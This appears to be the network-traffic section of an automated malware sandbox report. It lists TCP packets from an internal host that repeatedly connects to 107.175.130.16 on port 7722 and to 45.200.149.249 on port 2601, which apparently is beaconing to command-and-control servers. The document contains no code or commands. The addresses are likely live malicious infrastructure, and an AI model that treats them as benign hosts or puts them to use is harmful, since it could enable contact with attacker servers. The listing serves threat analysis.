Jan 1, 2025 18:42:09.150438070 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.173476934 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.173547029 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.178340912 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.218487978 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.460377932 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.460608959 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.484225988 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.484329939 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:11.662843943 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 18:42:14.122237921 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.125682116 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.127101898 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.127156973 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.127871990 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.127912045 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.130634069 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.130676985 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.132625103 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.146574020 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.146651030 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.151448011 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.175930023 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.194395065 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.495740891 CET	7722	57116	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.495811939 CET	57116	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:14.496746063 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:14.496788979 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:16.566337109 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:16.571240902 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:16.571300030 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:16.571722031 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:16.571778059 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:16.576524973 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:16.618319988 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:16.978790998 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:16.978846073 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.138828993 CET	57122	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.143692970 CET	7722	57122	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.143738031 CET	57122	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.144602060 CET	57122	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.144660950 CET	57122	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.149398088 CET	7722	57122	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.160679102 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.165538073 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.165590048 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.190325975 CET	7722	57122	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.201841116 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.201936960 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.206657887 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.250382900 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.293610096 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:19.298424006 CET	2601	38204	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:19.298476934 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:19.299897909 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:19.304687977 CET	2601	38204	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:19.304728985 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:19.309551001 CET	2601	38204	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:19.510566950 CET	7722	57122	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.510622025 CET	57122	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:19.533988953 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:19.534054995 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:20.113264084 CET	2601	38204	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:20.113765955 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:20.113802910 CET	38204	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:21.901367903 CET	42836	443	192.168.2.23	91.189.91.43
Jan 1, 2025 18:42:24.158637047 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.160243988 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.163460970 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.163515091 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.163974047 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.164035082 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.165036917 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.165086985 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.168721914 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.172518015 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.172581911 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.177267075 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.210329056 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.222269058 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.530354023 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.530416012 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:24.535837889 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:24.535877943 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:28.044465065 CET	42516	80	192.168.2.23	109.202.202.202
Jan 1, 2025 18:42:30.571888924 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.576834917 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.576899052 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.578598022 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.578788996 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.583414078 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.592504978 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.597254992 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.597313881 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.601090908 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.601155996 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.605871916 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.630311966 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.646256924 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.949093103 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.949196100 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:30.966095924 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:30.966139078 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:38.998934984 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.004143000 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.004218102 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.004617929 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.004669905 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.009444952 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.050170898 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.055417061 CET	57138	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.060209990 CET	7722	57138	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.060261011 CET	57138	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.074187994 CET	57138	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.074239969 CET	57138	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.078998089 CET	7722	57138	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.122210979 CET	7722	57138	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.369251966 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.369541883 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:39.442040920 CET	7722	57138	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:39.442112923 CET	57138	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.206882954 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:46.211817980 CET	2601	38218	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:46.211898088 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:46.212918043 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:46.217705965 CET	2601	38218	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:46.217793941 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:46.222635031 CET	2601	38218	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:46.586121082 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.590954065 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.591017962 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.591994047 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.592096090 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.593441963 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.596867085 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.598278999 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.601531982 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.604269028 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.604451895 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.609100103 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.642106056 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.650316954 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.794545889 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.799340963 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.799401045 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.810452938 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.810543060 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.815186024 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.862179995 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.958645105 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.958707094 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:46.969527006 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:46.969578981 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:47.064080954 CET	2601	38218	45.200.149.249	192.168.2.23
Jan 1, 2025 18:42:47.064156055 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:47.064192057 CET	38218	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:42:47.164650917 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:47.164706945 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:52.616904020 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 18:42:54.002196074 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.007421017 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.007478952 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.012795925 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.012882948 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.017582893 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.020838976 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.025650024 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.025697947 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.030178070 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.030333042 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.035003901 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.058094978 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.078164101 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.102843046 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.107769966 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.107827902 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.170480967 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.170614958 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.175326109 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.218076944 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.372806072 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.372865915 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.390856981 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.390908003 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:54.479762077 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:54.479815960 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.603049040 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.607534885 CET	57156	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.608619928 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.608670950 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.611865997 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.612219095 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.615515947 CET	7722	57156	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.615607977 CET	57156	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.618001938 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.627397060 CET	57156	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.627732992 CET	57156	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.632179976 CET	7722	57156	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.633574009 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.638411045 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.638459921 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.658025980 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.674006939 CET	7722	57156	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.695132017 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.695204020 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.699973106 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.741992950 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.991205931 CET	7722	57156	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.991265059 CET	57156	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:01.993380070 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:01.993452072 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:02.004553080 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:02.004601955 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.007707119 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.013283014 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.013345957 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.014290094 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.014347076 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.019094944 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.062036037 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.092458963 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.097366095 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.097415924 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.115575075 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.115648985 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.120449066 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.161981106 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.385284901 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.385341883 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:09.469537973 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:09.469583988 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:13.093929052 CET	42836	443	192.168.2.23	91.189.91.43
Jan 1, 2025 18:43:13.164343119 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:13.170036077 CET	2601	38242	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:13.170115948 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:13.170905113 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:13.175626040 CET	2601	38242	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:13.175687075 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:13.180406094 CET	2601	38242	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:13.990396023 CET	2601	38242	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:13.990443945 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:13.990472078 CET	38242	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:14.014282942 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:14.019109011 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:14.019165993 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:14.019567966 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:14.020051003 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:14.024362087 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:14.070002079 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:14.385955095 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:14.386048079 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:16.606802940 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:16.612451077 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:16.612509012 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:16.612984896 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:16.613054037 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:16.617980957 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:16.661961079 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:16.985970974 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:16.986143112 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.025154114 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.026998043 CET	57172	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.030236959 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.030297041 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.030879021 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.030967951 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.031883955 CET	7722	57172	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.031932116 CET	57172	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.032727957 CET	57172	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.032793045 CET	57172	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.035599947 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.037744999 CET	7722	57172	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.077900887 CET	7722	57172	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.077914000 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.416035891 CET	7722	57172	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.416208982 CET	57172	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:24.416944981 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:24.416989088 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.627521992 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.632392883 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:31.632492065 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.633125067 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.633191109 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.637970924 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:31.681865931 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:31.708044052 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.712851048 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:31.712903023 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.722661972 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.722727060 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:31.727412939 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:31.769805908 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:32.003957033 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:32.004021883 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:32.094890118 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:32.094965935 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.023451090 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.025737047 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.028301954 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.028373003 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.029238939 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.029308081 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.030483007 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.030529976 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.033627987 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.033691883 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.033960104 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.038440943 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.077841997 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.085968018 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.405937910 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.406110048 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:39.419004917 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:39.419223070 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:40.092736006 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:40.097517967 CET	2601	38260	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:40.097606897 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:40.098651886 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:40.103404999 CET	2601	38260	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:40.103509903 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:40.108285904 CET	2601	38260	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:40.910525084 CET	2601	38260	45.200.149.249	192.168.2.23
Jan 1, 2025 18:43:40.910577059 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:40.912645102 CET	38260	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:43:46.633876085 CET	57184	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.638799906 CET	7722	57184	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.638861895 CET	57184	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.645853996 CET	57184	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.645941973 CET	57184	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.650757074 CET	7722	57184	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.651566029 CET	57186	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.656419992 CET	7722	57186	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.656469107 CET	57186	7722	192.168.2.23	107.175.130.16
